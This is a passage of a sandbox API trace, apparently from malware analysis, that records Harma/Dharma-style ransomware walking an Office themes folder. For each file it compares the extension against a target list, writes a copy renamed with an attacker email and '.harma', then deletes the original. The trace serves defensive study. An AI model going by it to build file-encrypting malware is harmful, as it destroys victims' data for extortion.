lpString2=".eftx") returned -1 [0144.609] lstrlenW (lpString=".pdf") returned 4 [0144.609] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0144.609] lstrlenW (lpString=".xls") returned 4 [0144.609] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0144.609] lstrlenW (lpString=".xlsx") returned 5 [0144.609] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0144.609] lstrlenW (lpString=".ppt") returned 4 [0144.609] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0144.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0144.609] lstrlenW (lpString=".zip") returned 4 [0144.609] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0144.609] lstrlenW (lpString=".rar") returned 4 [0144.609] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0144.609] lstrlenW (lpString=".bz2") returned 4 [0144.609] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0144.609] lstrlenW (lpString=".7z") returned 3 [0144.610] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0144.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0144.610] lstrlenW (lpString=".dbf") returned 4 [0144.610] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0144.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0144.610] lstrlenW (lpString=".1cd") returned 4 [0144.610] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0144.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0144.610] lstrlenW (lpString=".jpg") returned 4 [0144.610] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0144.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0144.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0144.610] lstrlenW (lpString=".doc") returned 4 [0144.610] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0144.610] lstrlenW (lpString=".docx") returned 5 [0144.610] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0144.610] lstrlenW (lpString=".pdf") returned 4 [0144.610] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0144.610] lstrlenW (lpString=".xls") returned 4 [0144.610] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0144.610] lstrlenW (lpString=".xlsx") returned 5 [0144.610] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0144.610] lstrlenW (lpString=".ppt") returned 4 [0144.610] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0144.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0144.610] lstrlenW (lpString=".zip") returned 4 [0144.610] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0144.610] lstrlenW (lpString=".rar") returned 4 [0144.610] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0144.610] lstrlenW (lpString=".bz2") returned 4 [0144.610] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0144.611] lstrlenW (lpString=".7z") returned 3 [0144.611] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0144.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0144.611] lstrlenW (lpString=".dbf") returned 4 [0144.611] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0144.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0144.611] lstrlenW (lpString=".1cd") returned 4 [0144.611] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0144.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0144.611] lstrlenW (lpString=".jpg") returned 4 [0144.611] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0144.611] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0144.612] lstrlenW (lpString="Clarity.eftx") returned 12 [0144.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.017] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=32818) returned 1 [0145.017] CloseHandle (hObject=0x350) returned 1 [0145.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 0x20 [0145.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0145.441] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.441] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0145.442] GetLastError () returned 0x0 [0145.442] ReadFile (in: hFile=0x354, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x8032, lpOverlapped=0x0) returned 1 [0145.496] WriteFile (in: hFile=0x218, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x8040, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x8040, lpOverlapped=0x0) returned 1 [0145.497] ReadFile (in: hFile=0x354, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.497] WriteFile (in: hFile=0x218, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.497] SetEndOfFile (hFile=0x218) returned 1 [0145.497] CloseHandle (hObject=0x218) returned 1 [0145.498] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.498] SetEndOfFile (hFile=0x354) returned 1 [0145.500] CloseHandle (hObject=0x354) returned 1 [0145.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 1 [0145.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0145.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0145.516] lstrlenW (lpString=".doc") returned 4 [0145.516] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.516] lstrlenW (lpString=".docx") returned 5 [0145.516] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.516] lstrlenW (lpString=".pdf") returned 4 [0145.516] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.516] lstrlenW (lpString=".xls") returned 4 [0145.516] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.516] lstrlenW (lpString=".xlsx") returned 5 [0145.516] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.517] lstrlenW (lpString=".ppt") returned 4 [0145.517] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0145.517] lstrlenW (lpString=".zip") returned 4 [0145.517] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.517] lstrlenW (lpString=".rar") returned 4 [0145.517] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.517] lstrlenW (lpString=".bz2") returned 4 [0145.517] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.517] lstrlenW (lpString=".7z") returned 3 [0145.517] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0145.517] lstrlenW (lpString=".dbf") returned 4 [0145.517] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0145.517] lstrlenW (lpString=".1cd") returned 4 [0145.517] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0145.517] lstrlenW (lpString=".jpg") returned 4 [0145.517] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0145.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0145.517] lstrlenW (lpString=".doc") returned 4 [0145.517] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.517] lstrlenW (lpString=".docx") returned 5 [0145.517] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.517] lstrlenW (lpString=".pdf") returned 4 [0145.517] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.517] lstrlenW (lpString=".xls") returned 4 [0145.517] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.517] lstrlenW (lpString=".xlsx") returned 5 [0145.517] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.517] lstrlenW (lpString=".ppt") returned 4 [0145.518] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0145.518] lstrlenW (lpString=".zip") returned 4 [0145.518] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.518] lstrlenW (lpString=".rar") returned 4 [0145.518] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.518] lstrlenW (lpString=".bz2") returned 4 [0145.518] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.518] lstrlenW (lpString=".7z") returned 3 [0145.518] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0145.518] lstrlenW (lpString=".dbf") returned 4 [0145.518] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0145.518] lstrlenW (lpString=".1cd") returned 4 [0145.518] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0145.518] lstrlenW (lpString=".jpg") returned 4 [0145.518] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.518] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0145.518] lstrlenW (lpString="Elemental.eftx") returned 14 [0145.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0145.570] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=314017) returned 1 [0145.570] CloseHandle (hObject=0x330) returned 1 [0145.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 0x20 [0145.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0145.601] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.601] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0146.125] GetLastError () returned 0x0 [0146.125] ReadFile (in: hFile=0x330, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x4caa1, lpOverlapped=0x0) returned 1 [0146.133] WriteFile (in: hFile=0x328, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x4cab0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x4cab0, lpOverlapped=0x0) returned 1 [0146.140] ReadFile (in: hFile=0x330, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.140] WriteFile (in: hFile=0x328, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0146.140] SetEndOfFile (hFile=0x328) returned 1 [0146.141] CloseHandle (hObject=0x328) returned 1 [0146.141] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.141] SetEndOfFile (hFile=0x330) returned 1 [0146.153] CloseHandle (hObject=0x330) returned 1 [0146.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 1 [0146.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0146.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0146.188] lstrlenW (lpString=".doc") returned 4 [0146.188] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.188] lstrlenW (lpString=".docx") returned 5 [0146.188] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.188] lstrlenW (lpString=".pdf") returned 4 [0146.188] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.188] lstrlenW (lpString=".xls") returned 4 [0146.189] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.189] lstrlenW (lpString=".xlsx") returned 5 [0146.189] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.189] lstrlenW (lpString=".ppt") returned 4 [0146.189] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0146.189] lstrlenW (lpString=".zip") returned 4 [0146.189] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.189] lstrlenW (lpString=".rar") returned 4 [0146.189] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.189] lstrlenW (lpString=".bz2") returned 4 [0146.189] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.189] lstrlenW (lpString=".7z") returned 3 [0146.189] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0146.189] lstrlenW (lpString=".dbf") returned 4 [0146.189] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0146.189] lstrlenW (lpString=".1cd") returned 4 [0146.189] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0146.189] lstrlenW (lpString=".jpg") returned 4 [0146.189] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0146.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0146.189] lstrlenW (lpString=".doc") returned 4 [0146.189] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.189] lstrlenW (lpString=".docx") returned 5 [0146.189] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.189] lstrlenW (lpString=".pdf") returned 4 [0146.189] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.189] lstrlenW (lpString=".xls") returned 4 [0146.189] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.190] lstrlenW (lpString=".xlsx") returned 5 [0146.190] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.190] lstrlenW (lpString=".ppt") returned 4 [0146.190] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0146.190] lstrlenW (lpString=".zip") returned 4 [0146.190] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.190] lstrlenW (lpString=".rar") returned 4 [0146.190] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.190] lstrlenW (lpString=".bz2") returned 4 [0146.190] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.190] lstrlenW (lpString=".7z") returned 3 [0146.190] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0146.190] lstrlenW (lpString=".dbf") returned 4 [0146.190] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0146.190] lstrlenW (lpString=".1cd") returned 4 [0146.190] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0146.190] lstrlenW (lpString=".jpg") returned 4 [0146.190] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.190] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0146.190] lstrlenW (lpString="Median.eftx") returned 11 [0146.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.230] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=39546) returned 1 [0146.231] CloseHandle (hObject=0x354) returned 1 [0146.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 0x20 [0146.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0146.276] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.276] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0146.277] GetLastError () returned 0x0 [0146.277] ReadFile (in: hFile=0x364, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x9a7a, lpOverlapped=0x0) returned 1 [0146.283] WriteFile (in: hFile=0x33c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x9a80, lpOverlapped=0x0) returned 1 [0146.284] ReadFile (in: hFile=0x364, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.285] WriteFile (in: hFile=0x33c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0146.285] SetEndOfFile (hFile=0x33c) returned 1 [0146.285] CloseHandle (hObject=0x33c) returned 1 [0146.285] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.285] SetEndOfFile (hFile=0x364) returned 1 [0146.289] CloseHandle (hObject=0x364) returned 1 [0146.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 1 [0146.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0146.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0146.290] lstrlenW (lpString=".doc") returned 4 [0146.290] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.290] lstrlenW (lpString=".docx") returned 5 [0146.290] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.290] lstrlenW (lpString=".pdf") returned 4 [0146.290] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.290] lstrlenW (lpString=".xls") returned 4 [0146.290] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.290] lstrlenW (lpString=".xlsx") returned 5 [0146.290] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.290] lstrlenW (lpString=".ppt") returned 4 [0146.290] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0146.290] lstrlenW (lpString=".zip") returned 4 [0146.290] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.290] lstrlenW (lpString=".rar") returned 4 [0146.290] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.290] lstrlenW (lpString=".bz2") returned 4 [0146.290] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.291] lstrlenW (lpString=".7z") returned 3 [0146.291] lstrcmpiW (lpString1=".7z", 